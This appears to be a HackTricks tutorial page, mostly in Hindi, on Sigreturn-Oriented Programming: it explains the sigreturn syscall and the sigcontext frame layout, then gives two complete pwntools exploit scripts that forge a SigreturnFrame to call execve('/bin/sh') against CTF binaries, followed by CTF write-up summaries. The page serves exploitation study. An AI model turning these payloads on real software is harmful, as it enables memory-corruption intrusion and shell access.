SROP - Sigreturn-Oriented Programming
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Sigreturn
एक विशेष syscall है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल ऑपरेटिंग सिस्टम द्वारा प्रोग्राम को भेजे गए व्यवधान होते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह सिग्नल को संभालने के लिए सिग्नल हैंडलर के साथ अपने वर्तमान कार्य को अस्थायी रूप से रोक देता है, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है।
सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को अपने पिछले स्थिति पर लौटने की आवश्यकता होती है जैसे कि कुछ भी नहीं हुआ। यहीं पर sigreturn
काम आता है। यह प्रोग्राम को सिग्नल हैंडलर से लौटने में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।
दिलचस्प बात यह है कि sigreturn
प्रोग्राम की स्थिति को कैसे बहाल करता है: यह CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता, तो sigreturn
इन मानों को स्टैक से पॉप करता है, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति में रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है।
caution
ROP चेन से sigreturn
syscall को कॉल करना और रजिस्ट्रियों के मानों को जोड़ना जिन्हें हम स्टैक में लोड करना चाहते हैं, यह संभव है कि हम सभी रजिस्टर मानों को नियंत्रित कर सकें और इसलिए कॉल कर सकें, उदाहरण के लिए, syscall execve
के साथ /bin/sh
।
ध्यान दें कि यह एक Ret2syscall का प्रकार होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है:
यदि आप जिज्ञासु हैं, तो यह sigcontext संरचना है जो स्टैक में संग्रहीत होती है ताकि बाद में मानों को पुनर्प्राप्त किया जा सके (चित्र यहां से):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
इसके बेहतर स्पष्टीकरण के लिए देखें:
उदाहरण
आप यहां एक उदाहरण पा सकते हैं जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाया गया है (rxa में मान 0xf
डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
चेक करें यहां से एक्सप्लॉइट जहां बाइनरी पहले से ही sigreturn
को कॉल कर रही थी और इसलिए इसे ROP के साथ बनाने की आवश्यकता नहीं है:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
अन्य उदाहरण और संदर्भ
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binary जो stack पर लिखने की अनुमति देता है और फिर
sigreturn
syscall को कॉल करता है। यह संभव है कि stack पर एक ret2syscall को sigreturn संरचना के माध्यम से लिखा जाए और उस फ्लैग को पढ़ा जाए जो बाइनरी की मेमोरी के अंदर है। - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binary जो stack पर लिखने की अनुमति देता है और फिर
sigreturn
syscall को कॉल करता है। यह संभव है कि stack पर एक ret2syscall को sigreturn संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग/bin/sh
है)। - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं।
gets
फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो ret2syscall को निष्पादित करता है। ROP श्रृंखला/bin/sh
को.bss
में लिखती है, फिर से gets को कॉल करके, यहalarm
फ़ंक्शन का दुरुपयोग करता है ताकि eax को0xf
पर सेट किया जा सके ताकि एक SROP को कॉल किया जा सके और एक शेल निष्पादित किया जा सके। - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह stack में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह
exit
को कॉल करता है। चयनित syscall एकsigreturn
है जो रजिस्टर सेट करेगा औरeip
को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस कोrwx
पर सेट करने के लिएmemprotect
को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा। - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP का उपयोग निष्पादन विशेषाधिकार (memprotect) देने के लिए किया जाता है उस स्थान पर जहां एक शेलकोड रखा गया था।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।